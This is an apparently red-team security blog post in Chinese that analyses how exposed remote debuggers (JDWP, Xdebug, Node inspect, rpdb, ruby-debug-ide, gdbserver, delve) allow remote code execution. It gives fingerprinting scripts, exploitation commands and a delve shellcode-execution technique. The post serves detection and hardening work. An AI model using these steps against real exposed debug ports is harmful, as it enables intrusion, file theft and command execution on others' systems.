En

浅析常见Debug调试器的安全隐患

作者:腾讯蓝军实习生rotcrev公布时间:2019-11-20阅读次数:30441评论:4

分享

一、前言

笔者在腾讯蓝军&TSRC实习期间,其中一项工作是分析开发语言debug调试器的攻击面和编写指纹识别脚本,协助提升公司漏洞扫描器的检测能力,以及丰富蓝军安全演习武器库,进而消除安全隐患。经梳理发现包括不限于java、php、nodejs、python、ruby、gdbserver、golang等相关debug调试器都存在被攻击的可能性,脚本语言的debug调试器的利用思路一般可以从其内置执行表达式的功能出发,而编译型语言的debug调试器由于功能限制可能需要考虑二进制方面的利用。暴露远程debug端口,风险非常大,请开发人员务必做好访问控制。

二、DEBUG?EXPLOIT!

1、java JDWP RCE

JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。

网上已有非常多的JDWP利用分析文章,这里主要介绍复现过程和指纹识别以及一些小细节。

java程序测试代码:

  1. //Test.java
  2. import java.lang.Thread;
  3. public class Test {
  4. public static void main (String[] args) throws Exception{
  5. int i = 0;
  6. while (1 == 1) {
  7. Thread.sleep(1000);
  8. System.out.println("" + i);
  9. i += 1;
  10. }
  11. }
  12. }

编译java程序:

  1. javac Test.java

启动远程debug调试器:

  1. java -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8080 Test

监听端口为8080,开发人员可以随便设置端口,常见的端口为8000、8080。

漏洞利用脚本比较经典的是 https://github.com/IOActive/jdwp-shellifier ,

命令为: python jdwp-shellifier.py -t 目标主机ip -p jdwp运行端口 --break-on 断点方法 --cmd "Your Command"

因为利用需要指定一个断点,jdwp-shellifier默认是 java.net.ServerSocket.accept ,除了这个,比较常见通用方法还有 java.lang.String.indexOf

当向jdwp端口发送 JDWP-Handshake 字符串时,服务器会返回 JDWP-Handshake 字符串,为了降低识别误报,可以进一步发送获取版本信息的指令,模拟jdwp通信过程来获取远程jvm信息,提取出版本数据,确定目标为jdwp服务。需要注意jdwp不支持多用户同时连接,扫描时有可能因为其他人正在连接导致识别不到。这里贴一下笔者简单编写的jdwp指纹识别脚本,它会打印出远程jvm返回的版本信息等。

  1. #jdwp-check.py
  2. import socket
  3. import struct
  4. import sys
  5. def p32(u):
  6. return struct.pack('>I', u)
  7. def u32(p):
  8. return struct.unpack('>I', p)[0]
  9. def check(host, port):
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.connect((host, int(port)))
  12. handshake = 'JDWP-Handshake'
  13. s.send(handshake)
  14. data = s.recv(len(handshake))
  15. print(data)
  16. if data != handshake:
  17. return False
  18. versionCommandPack = p32(1)
  19. versionCommandPack += '\x00\x01\x01'
  20. versionCommandPack = p32(len(versionCommandPack) + 4) + versionCommandPack
  21. s.send(versionCommandPack)
  22. data = s.recv(4)
  23. replyLength = u32(data)
  24. print("get reply size: {}".format(replyLength))
  25. data = s.recv(replyLength)
  26. print(data)
  27. s.close()
  28. if __name__ == '__main__':
  29. check(sys.argv[1], sys.argv[2])

当然,nmap也支持检测jdwp。

2、php Xdebug RCE

Xdebug是PHP的扩展,提供丰富的调试函数,用于协助调试和开发,可以进行远程调试。

如果服务端PHP开启了Xdebug模块,当客户端向服务端发送一个带有XDEBUG_SESSION_START参数的请求时,服务端将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数。

xdebug.remote_host 设置回连地址,xdebug.remote_port 设置回连端口,这种情况只能回连到固定ip,一般是无法利用的。

当开启 xdebug.remote_connect_back 选项时,允许回连到任意ip,这也是方便多用户同时调试,但没有任何过滤,任何人都可以连,利用就出现在这里。

Multiple Users Debugging

Xdebug only allows you to specify one IP address to connect to with xdebug.remote_host) while doing remote debugging. It does not automatically connect back to the IP address of the machine the browser runs on, unless you use xdebug.remote_connect_back.

If all of your developers work on different projects on the same (development) server, you can make the xdebug.remote_host setting for each directory through Apache’s .htaccess functionality by using php_value xdebug.remote_host=10.0.0.5. However, for the case where multiple developers work on the same code, the .htaccess trick does not work as the directory in which the code lives is the same.

There are two solutions to this. First of all, you can use a DBGp proxy. For an overview on how to use this proxy, please refer to the article at Debugging with multiple users. You can download the proxy on ActiveState’s web site as part of the python remote debugging package. There is some more documentation in the Komodo FAQ.

Secondly you can use the xdebug.remote_connect_back setting that was introduced in Xdebug 2.1.

扫描检测其实也并不复杂,先在自己机器上监听端口,然后只需要一行命令就可以搞定:

  1. curl http://target.com/?XDEBUG_SESSION_START -H 'X-Forwarded-For: 回连地址'

如果目标存在风险,我们会收到这样的回连:

在实际利用中,有个情况是我们不知道目标配置的回连端口是什么,这里有三个解决办法,第一是尝试默认端口,官方默认端口是9000;第二是可以直接抓包看有哪些连接过来的tcp连接,虽然我们没有监听端口,但是依旧能收到目标发过来的syn包;第三是可以用iptables做个DNAT,具体命令可以阅读下面ruby-debug-ide部分。

那么具体如何利用呢?xdebug(版本>=2.1)的remote_handler默认是DBGp,那么利用思路是通过DBGp内置表达式来执行任意php代码,ricterz 师傅已经分析得很清楚了。在这里划重点,大部分的解释执行语言的debug调试工具在设计上都会允许执行表达式来方便调试,就算没有这个功能,也非常可能会被用户要求加入这个功能或者类似的功能,比如golang delve。不过golang倒不是解释执行的语言,但是也能说明这种趋势。

更深入的利用本文就不赘述了,网上已经存在许多利用工具,比如 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce ,而且更简单的可以直接用phpstorm或者vscode直接执行表达式。

3、nodejs debug/inspect RCE

nodejs内置了调试功能,旧版本nodejs使用 --debug 选项启动,新版本nodejs使用 --inspect 选项启动,有些版本会同时存在这两个选项。

这里使用官方提供的HelloWorld用例来做测试演示,执行 node app.js 启动程序。

  1. //app.js
  2. const http = require('http');
  3. const hostname = '127.0.0.1';
  4. const port = 3000;
  5. const server = http.createServer((req, res) => {
  6. res.statusCode = 200;
  7. res.setHeader('Content-Type', 'text/plain');
  8. res.end('Hello World\n');
  9. });
  10. server.listen(port, hostname, () => {
  11. console.log(`Server running at http://${hostname}:${port}/`);
  12. });

旧版本nodejs执行 --debug 默认情况下调试端口监听在127.0.0.1:5858,当开发者配置监听在可被他人访问时,会造成RCE风险,比如下图启动调试,

测试curl访问这个端口,发现返回的HTTP Header有一些固定值,包括”V8-Version”和Embedding-Host: node”,这些可以作为识别指纹。

  1. root@VM-66-175-debian:~# curl 127.0.0.1:5858 -v
  2. * Rebuilt URL to: 127.0.0.1:5858/
  3. * Trying 127.0.0.1...
  4. * TCP_NODELAY set
  5. * Connected to 127.0.0.1 (127.0.0.1) port 5858 (#0)
  6. > GET / HTTP/1.1
  7. > Host: 127.0.0.1:5858
  8. > User-Agent: curl/7.52.1
  9. > Accept: */*
  10. >
  11. Type: connect
  12. V8-Version: 5.1.281.111
  13. Protocol-Version: 1
  14. Embedding-Host: node v6.17.1
  15. Content-Length: 0

远程连接调试端口后就可以执行js代码,利用可以参见Metasploit https://www.exploit-db.com/exploits/42793 ,当然也可以抓包分析编写python脚本方便执行。

新版本nodejs执行 --inspect 默认情况下调试端口监听在127.0.0.1:9229,每个进程都有一个唯一的UUID标示符,当开发者配置监听在可被他人访问时,会造成RCE风险,比如下图启动调试,

可以直接使用Chrome DevTools远程调试nodejs,首先打开chrome,进入chrome://inspect,点击Discover network targets的configure,配置目标ip和端口:

保存后打勾,等下面Remote Target出现新目标,然后点击inspect链接,就可以打开调试工具,在调试工具里可以看源代码,以及执行命令:

如果说用chrome操作不方便,那么如何写个脚本快速验证呢?Chrome DevTools Protocol是基于WebScoket协议的,可以通过抓包来构造请求包。

nodejs inspect开启的是ws服务器,也提供了两个http api接口,向服务发送http请求以下两个路径,

  1. http://IP:Port/json/version
  2. http://IP:Port/json

根据响应包可以得到nodejs的版本、调试脚本路径,以及ws连接地址,

  1. $ curl 192.168.56.103:9229/json/version -v
  2. > GET /json/version HTTP/1.1
  3. > Host: 192.168.56.103:9229
  4. > User-Agent: curl/7.58.0
  5. > Accept: */*
  6. < HTTP/1.0 200 OK
  7. < Content-Type: application/json; charset=UTF-8
  8. < Cache-Control: no-cache
  9. < Content-Length: 64
  10. {
  11. "Browser": "node.js/v8.10.0",
  12. "Protocol-Version": "1.1"
  13. }
  1. $ curl 192.168.56.103:9229/json -v
  2. > GET /json HTTP/1.1
  3. > Host: 192.168.56.103:9229
  4. > User-Agent: curl/7.58.0
  5. > Accept: */*
  6. >
  7. < HTTP/1.0 200 OK
  8. < Content-Type: application/json; charset=UTF-8
  9. < Cache-Control: no-cache
  10. < Content-Length: 247
  11. <
  12. [ {
  13. "description": "node.js instance",
  14. "devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755",
  15. "faviconUrl": "https://nodejs.org/static/favicon.ico",
  16. "id": "dc94b8aa-0a0d-4e08-abda-4ab000e73755",
  17. "title": "a.js",
  18. "type": "node",
  19. "url": "file:///home/goahead/Desktop/js/debug-demo/a.js",
  20. "webSocketDebuggerUrl": "ws://192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755"
  21. } ]

之后便可以通过返回的webSocketDebuggerUrl来连接目标调试端口执行命令。

4、python rpdb RCE

python官方自带的调试工具pdb只能本地调试,没有提供远程调试功能,而PyCharm(Python IDE)提供的远程调试组件pydevd是硬编码一个回连的ip和端口,在正常情况下无法利用。

非官方的远程调试器rpdb实现了让pdb支持远程调试的功能,使用rpdb很简单,只要在python代码加入如下代码即可,

  1. import rpdb
  2. rpdb.set_trace()

调试端口默认是监听在127.0.0.1:4444,也可以设置监听在指定IP和端口,

  1. import rpdb
  2. rpdb.Rpdb(addr='0.0.0.0', port=4444).set_trace()

使用telnet连上端口后,就可以直接执行python代码,不过rpdb只支持单用户连接,并且在TCP连接exit断开后程序就会报错退出,调试端口关闭。

5、ruby ruby-debug-ide RCE

ruby-debug-ide为ruby调试器引擎(例如debase、ruby-debug-base)和IDE(例如RubyMine、Visual Studio Code、Eclipse、NetBeans)提供通信协议,ruby-debug-ide需要开发人员自己安装。

先来看看其使用的通信协议有没有RCE风险 https://github.com/ruby-debug/ruby-debug-ide/blob/master/protocol-spec.md

但这里commands似乎没有提到能执行表达式的功能,通过阅读 https://github.com/ruby-debug/ruby-debug-ide/tree/master/lib/ruby-debug-ide/commands 代码后发现protocol-spec并没有把全部协议列出来,分析发现多个调用函数debug_eval的command都可以执行命令。

在这里简单介绍一下ruby-debug-ide的协议,这个协议主要通信方式类似问答,客户端发送给被调试端命令,被调试端返回xml格式的响应。一个例子如下:

  1. # 删除断点2
  2. 客户端发送: delete 2
  3. 被调试端响应: <breakpointDeleted no="2"/>

不过,非多线程ruby脚本和多线程ruby脚本(比如rails应用程序)的远程调试的通信过程是有区别的,这样会导致利用过程需要考虑到它们的差异,先看看普通的ruby脚本如何利用,

  1. #test.rb
  2. counter = 0
  3. while 1 do
  4. sleep 1
  5. puts "test #{counter}"
  6. counter += 1
  7. end
  1. rdebug-ide --host 0.0.0.0 --port 1234 -- test.rb

使用rdebug-ide命令启动程序,注意此时程序不会马上执行。而是等待start命令,使用telnet或nc连接端口后发送start让程序跑起来,那这时可以执行eval命令了吗?还不行,因为包括evalwhereload等很多命令都无法在程序没有中断的时候运行。想要让程序中断,可以通过events事件(breakpoint、suspension、exception)来完成,其中触发suspension很简单,发送pause命令就可以将当前的线程挂起,之后再发送执行表达式的命令。

目前看来似乎一切顺利,但是这里有个情况,如果pause后再continue的话,那么不能再次pause(感觉是ruby-debug-ide程序本身不够完善),之后还想程序中断,就要考虑其他操作比如捕捉异常exception。

接下来看看rails应用程序如何利用,

rdebug-ide --host 0.0.0.0 --port 1234 --dispatch-port 23456 -d -- /usr/local/bin/rails server

--dispatch-port这个选项指定的端口是需要debug client(IDE)去监听,通信过程大致如下:

  1. 连接 --port 指定的端口
  2. debug clientIDE)==================================> server
  3. 发送start命令
  4. 连接 --dispatch-port 端口
  5. debug clientIDE)<================================== server
  6. 得到client应答后发送一个新的随机端口号
  7. 关闭 --port 端口
  8. 连接新端口
  9. debug clientIDE)==================================> server
  10. 发送start命令正式进入调试

嗯…这个调试过程感觉很麻烦,不少人都这么认为:https://github.com/ruby-debug/ruby-debug-ide/issues/107

来测试下,首先监听端口23456,然后nc ip 1234发送start之后,会收到server发过来的新端口号,注意如果server不能连接过来的话,ruby-debug-ide会报错退出。接着连接新端口,发送start,程序成功启动。

不过现在还不能马上发送pause,需要看下当前是否有thread,发送thread list,此时很可能会出现没有线程的情况,这很可能只是debug engine没有发现这些thread而已,可以下个断点,之后的操作大致和上面一致,发送pause命令,再执行表达式。

到目前为止,我们已经了解这个调试端口暴露出的危害,那么如何检测呢,可以找一个任何时候都可以使用的命令去检测,比如查看断点info break,发送这个命令后,服务端将会响应当前存在的断点。

但是蓝军安全演习实际利用起来又要注意了,不知道目标运行是什么模式,是ruby单线程脚本,还是rails多线程应用程序,如果是后者,在不知道回连端口是多少的情况下,贸然start会造成debug engine无法回连会直接报错退出,因此,检测出存在这个端口后利用起来也要小心翼翼。

为了能更稳定地利用,应当假设目标是rails这种多线程的模式,可以使用iptables将某个ip连接过来的tcp连接全部导向本地指定端口,大概命令如下:

  1. # 添加规则
  2. iptables -t nat -A PREROUTING -s 目标ip -p tcp -j DNAT --to-destination 本地ip:监听端口
  3. # 删除规则
  4. iptables -t nat -D PREROUTING -s 目标ip -p tcp -j DNAT --to-destination 本地ip:监听端口

这样目标ip连过来的所有tcp连接就会转发到本地监听端口上,用nc监听这个指定的端口即可。

6、gdbserver RCE

gdb对于开发者来讲(特别是c、c++等编译型语言)可能不陌生,而gdbserver则是gdb配套的远程调试工具,是RSP(Remote Serial Protocol)的一种实现。

gdb有两种远程调试的连接模式,分别为target remote modetarget extended-remote mode,这两种模式在调试进程结束后gdbserver的行为会有所不同,文档描述如下:

Types of Remote Connections

With target remote mode: When the debugged program exits or you detach from it, GDB disconnects from the target. When using gdbserver, gdbserver will exit.

With target extended-remote mode: When the debugged program exits or you detach from it, GDB remains connected to the target, even though no program is running. You can rerun the program, attach to a running program, or use monitor commands specific to the target.

When using gdbserver in this case, it does not exit unless it was invoked using the —once option. If the —once option was not used, you can ask gdbserver to exit using the monitor exit command (see Monitor Commands for gdbserver).

当extended-remote mode的时候,gdbserver在程序结束后或detach后不会停止运行,除非使用了—once选项。

gdbserver remote mode相关命令

比如Server端启动远程调试a.out,监听1234端口:

  1. gdbserver 0.0.0.0:1234 a.out

Client运行gdb后用下面命令连接:

  1. (gdb) target remote xxx.xxx.xxx.xxx:1234

gdbserver extended-remote mode相关命令

远程调试a.out,监听1234端口:

  1. gdbserver --multi 0.0.0.0:1234 a.out

运行gdb后用下面命令连接:

  1. # 即使gdbserver没有使用--multi选项,也可以这么连,这个可以强制让gdbserver进入extended-remote mode
  2. (gdb) target extended-remote 127.0.0.1:1234

文档中没有说清楚(可能是我没看到)的是,即使gdbserver启动是remote mode,gdb连接上也可以开启extended-remote mode,这样gdbserver在进程结束之后依旧不会退出,这也就给实际利用提供了便利。

通过阅读文档发现gdb本身就提供了文件传输的功能,分别是下面三种命令:

  1. remote put hostfile targetfile
  2. remote get targetfile hostfile
  3. remote delete targetfile

也就是说只要连上gdbserver端口,就可以任意读/写/删除服务器上的文件。

文件下载:

文件上传:

那么如何达到RCE目的呢?经过简单的分析,目前发现三种RCE方法。

  1. gdb连接上之后可以修改内存,这时候加段shellcode进内存然后跳转执行
  2. 通过extended-remote mode支持的功能运行额外的程序
  3. 在有符号的情况下可以直接call system()

这里简单介绍第二种,在extended-remote的情况下,支持设置远程运行的文件,而且支持run命令,这个不就可以任意命令执行吗?

  1. (gdb) set remote exec-file <path/to/executable>
  2. (gdb) run <args>...

演示如下,can_u_see_me就是/tmp/pwn目录下的文件。

只是这种方式无法直接获取回显,不过获取回显的方式有很多种,比如程序是默认使用shell来运行的,支持重定向,所以可以将结果重定向到文件,然后再下载读取。

关于端口指纹识别,这里简要介绍通信用的RSP协议,该协议位于tcp协议之上,不论是客户端(gdb)还是服务端(gdbserver)在收到对方的包都会回复一个’+’字符。这个协议通信过程中用到的字符都是可打印字符,大概格式为 $# ,这个checksum为content每个字符之和对于256的模,用python写的checksum函数如下:

  1. def calc_checksum(s):
  2. res = 0
  3. for c in s:
  4. res = (res + ord(c)) % 256
  5. return res

通常gdb在和target服务端通信一开始的时候,都会将客户端支持的功能告诉服务端,而服务端也会返回所支持的功能。

客户端(gdb)发送(这里只描述content的格式):
qSupported [:gdbfeature [;gdbfeature]… ]

服务端(gdbserver)通过下面的格式告诉客户端它支持的feature:
stubfeature [;stubfeature]…

通过上面的这个命令就可以用来进行指纹检测,下面是一个通信的例子:

客户端发送:

  1. +$qSupported:multiprocess+#c6

服务端响应:

  1. +$PacketSize=3fff;QPassSignals+;QProgramSignals+;QStartupWithShell+;QEnvironmentHexEncoded+;QEnvironmentReset+;QEnvironmentUnset+;QSetWorkingDir+;QCatchSyscalls+;qXfer:libraries-svr4:read+....................

指纹检测就可以利用上面蕴含的模式(+$.*?#[0-9a-fA-F]{2}),还可以验证checksum是否正确,如果正确,那么大概率证明这是gdbserver使用的rsp协议。

7、golang delve RCE

delve是golang官方文档推荐的调试器,因为它比gdb对golang语言的支持更佳,这个也是本文利用起来较麻烦的一个调试器。

首先简单介绍一下delve的使用,

开启本地调试golang程序:

  1. dlv debug test.go

开启远程调试golang程序:

  1. dlv --listen=:2345 --headless=true --api-version=2 debug test.go

开启远程调试还可以设置多client连接模式,在这个模式下,多个client可以连接上来,并且在client断开连接时delve会继续运行:

  1. dlv --accept-multiclient --listen=:2345 --headless=true --api-version=2 debug test.go

远程调试时使用下面命令连接到debug服务器:

  1. dlv connect ip:port

非多client连接模式连一次delve就会退出,所以下面测试会以多client连接模式作为前提。

在寻找利用方式时,笔者还是优先考虑表达式执行,通过阅读文档,找到了执行表达式的print命令,但表达式支持的功能有限(https://github.com/go-delve/delve/blob/master/Documentation/cli/expr.md),没有找到可以利用的点,继续阅读文档发现还有一个call命令,这个命令可以调用当前程序导入的函数,比如程序导入了”os/exec”包,那么就可以call “os/exec”.Command来执行系统命令。

但是因为golang默认为静态编译,所以默认能调用的内置函数非常有限,如果程序没有编译进”os/exec”.Command这类命令执行的函数,那么想要通过表达式执行,调用内部函数来RCE就不会那么简单了。

首先假设程序使用了”os/exec”.Command,实例代码如下:

  1. package main
  2. import (
  3. "os/exec"
  4. "fmt"
  5. "log"
  6. )
  7. func main() {
  8. cmd := exec.Command("ls")
  9. out, err := cmd.CombinedOutput()
  10. if err != nil {
  11. log.Fatalf("cmd.Run() failed with %s\n", err)
  12. }
  13. fmt.Printf("combined out:\n%s\n", string(out))
  14. }

启动调试环境,远程连接上后,使用funcs命令来看下函数有哪些:

可以看到”os/exec”.Command被编译进去了,尝试call它,

失败了,查看help知道call只能在当前选择了goroutine的时候使用,这里可以理解成只有停留在go源码中才能使用,那么可以执行b main.main,然后continue,再次尝试调用命令:

  1. (dlv) call "os/exec".Command("ls", "-al")
  2. > main.main() ./go/exec.go:9 (hits goroutine(1):13 total:13) (PC: 0x4cd52b)
  3. Command failed: can not convert "-al" constant to []string

还是失败,估计delve调用函数使用的是反射,而Command第二个参数是可变参数,因此反射里第二个参数需要是string slice,接着来尝试使用初始化string slice,

  1. (dlv) call "os/exec".Command("ls", []string{"-al"})
  2. > main.main() ./go/exec.go:9 (hits goroutine(1):14 total:14) (PC: 0x4cd52b)
  3. Command failed: error evaluating "[]string{\"-al\"}" as argument arg in function os/exec.Command: expression *ast.CompositeLit not implemented

但delve支持有限,导致这种初始化不能使用,可以尝试寻找那些string slice的变量,将它作为第二个参数传进去。通过vars命令可以看包内的变量,这里我找到了os.Args这个string slice,它实际上就是程序的命令行参数。但是像下面这种函数串连起来调用容易遇到下面这种问题:

  1. (dlv) call exec.Command("/bin/ls", os.Args).Run()
  2. > main.main() ./go/exec.go:9 (hits goroutine(1):3 total:3) (PC: 0x4cd52b)
  3. Command failed: call not at safe point

什么是safe point?可以看看这个issue:https://github.com/go-delve/delve/issues/1590,简单说就是程序在那里call命令造成的栈帧GC无法处理,所以delve不让调用。

不过可以分开执行函数,如果是上面给出的示例程序,可以等程序运行到定义了cmd变量那里停下来,然后调用:

结果~r0就是命令的结果:

那万一代码没有使用”os/exec”.Command这种危险的函数呢?笔者开始把视线转向内置的一些函数,通过查看funcs命令的结果,找到了一些有点意思的函数,最开始觉得比较可能有希望的应该是syscall.Syscallsyscall.Syscall6这两个,看名称似乎可以用来进行系统调用,但测试后发现没有那么简单,如果尝试调用这两个函数的话,会出现下面的情况:

  1. (dlv) call syscall.Syscall(1)
  2. > main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
  3. Command failed: too many arguments
  4. (dlv) call syscall.Syscall6(1)
  5. > main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)
  6. Command failed: too many arguments

一个参数就报too many arguments?delve似乎对有些函数的原型无法正确识别,导致调用起来异常困难。

最后找到了两个函数:reflect.memmovesyscall.mmap是可以正常使用的,reflect.memmove相当于c语言中的memmove或者memcpysyscall.mmap刚好可以用来分配rwx的内存。好了,现在的问题就转化成如何将shellcode写入内存中和利用类似memcpy的功能来实现执行shellcode。熟悉二进制安全的朋友都知道,这种类似任意写内存的功能已经无限接近于漏洞利用成功了。

另外分析发现disassemble命令会打印出内存里的字节,任意读内存也有了。

那么如何构造出任意写内存呢?首先了解一下slice在内存中的结构,它是像下面这种结构的(c语言表述,64位系统):

  1. struct slice {
  2. void* data;
  3. int64_t len;
  4. int64_t cap;
  5. };

一开始的第一个字段指向一段内存,这段内存由连续的对象组成,比如是string的slice,那么就是一段连续的string对象,如果是数字,那就是一段连续的int之类的。第二个字段就是这个对象数组有多少元素,cap则就是说这个slice最大容量是多少了。

string在内存中的结构:

  1. struct string {
  2. char* data;
  3. int64_t len;
  4. };

设想一下,如果将uint32 slice的头8个字节覆盖成string slice的头8个字节,那么uint32 slice的data指针就将指向string slice里的string 结构体数组。

之后操作这个uint32 slice的数组内容就相当于在改写string slice中的string结构体,通过改写string结构体里的data指针,将string指向想要指向的地址,这样就可以覆盖string的内容,相当于任意内存写了。

因为可以对string进行赋值,所以将shellcode写入内存也可以办到:

  1. (dlv) call syscall.envs[0] = "i am shellcode!"
  2. > main.main() ./go/test.go:8 (hits goroutine(1):4 total:4) (PC: 0x4a23b8)
  3. (dlv) p syscall.envs[0]
  4. "i am shellcode!"
  5. (dlv)

delve的表达式支持取地址操作,可以很方便地获知变量的地址,当然也包括了各种slice的:

  1. (dlv) p &syscall.envs
  2. (*[]string)(0x57ac90)
  3. (dlv)

实际测试结果:

如图,将uint32 slice第一个字段覆盖为string slice的第一个字段后,strconv.isPrint32的内容发生了变化,实际上就是string结构体数组的内容,将第一个uint32加1,可以看到syscall.envs[0]的内容向后移动了一个字节。

因为可以将shellcode也复制到rwx的内存页中去,所以现在只需要找一个会被程序调用的指针,将这个指针改写成有shellcode内存页的地址即可。

这个指针的选择,笔者挑了最简单的一种,那就是函数的返回地址,当然可能存在其他的指针可以利用。当根据函数名下断点的时候,比如b main.main,程序触发这个断点时,刚好就停在该函数的第一个指令处,也就是说,此时的RSP指向返回地址,可以用regs命令来获得此刻的RSP的值。

然后通过上面构造的任意写,将某个string指向返回地址,然后利用比如call syscall.envs[0][1] = 'a'这样来改写它的字节,就能成功将返回地址改成shellcode的地址,最后只需要让函数运行至返回就会成功跳转到shellcode执行。

将以上的点整合起来,编写POC验证想法:

关于端口指纹检测,delve通信使用json-rpc进行TCP通讯,可以发送获取远程服务器信息的请求,根据返回进行判断。

客户端请求:

  1. {"method":"RPCServer.State","params":[{"NonBlocking":true}],"id":2}

服务端响应:

  1. {"id":2,"result":{"State":{"Running":false,"currentThread":{"id":13920,"pc":4899128,"file":"/home/goahead/Desktop/b.go","line":6,"function":{"name":"main.main"...........}

三、收尾

我们可以发现,相当多的调试工具都是支持执行表达式这种功能的,也就是说,它是一种设计而不是一个漏洞。所以,这些端口的暴露和被利用,更多应当归类于配置错误而不是本身存在漏洞。

远程调试端口暴露,风险非常大,在公网暴露,很可能被蠕虫攻击植入木马,在内网暴露,也可能会是黑客用来横向移动扩大权限的有效攻击手段,再次提醒开发人员务必做好访问控制,避免被黑客攻击。

文中涉及到的代码和技术细节,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

最后感谢实习期间 neargle 师傅和 KINGX 师傅以及各位领导同事的帮助和指导。

Reference

  1. https://blog.spoock.com/2019/04/20/jdwp-rce/
  2. https://paper.seebug.org/397/
  3. https://nodejs.org/zh-cn/docs/guides/debugging-getting-started/
  4. https://pypi.org/project/rpdb/
  5. https://github.com/ruby-debug/ruby-debug-ide
  6. https://www.gnu.org/software/gdb/documentation/
  7. https://github.com/go-delve/delve/blob/master/Documentation/cli/README.md

评论留言

提交评论 您输入的漏洞名称有误,请重新输入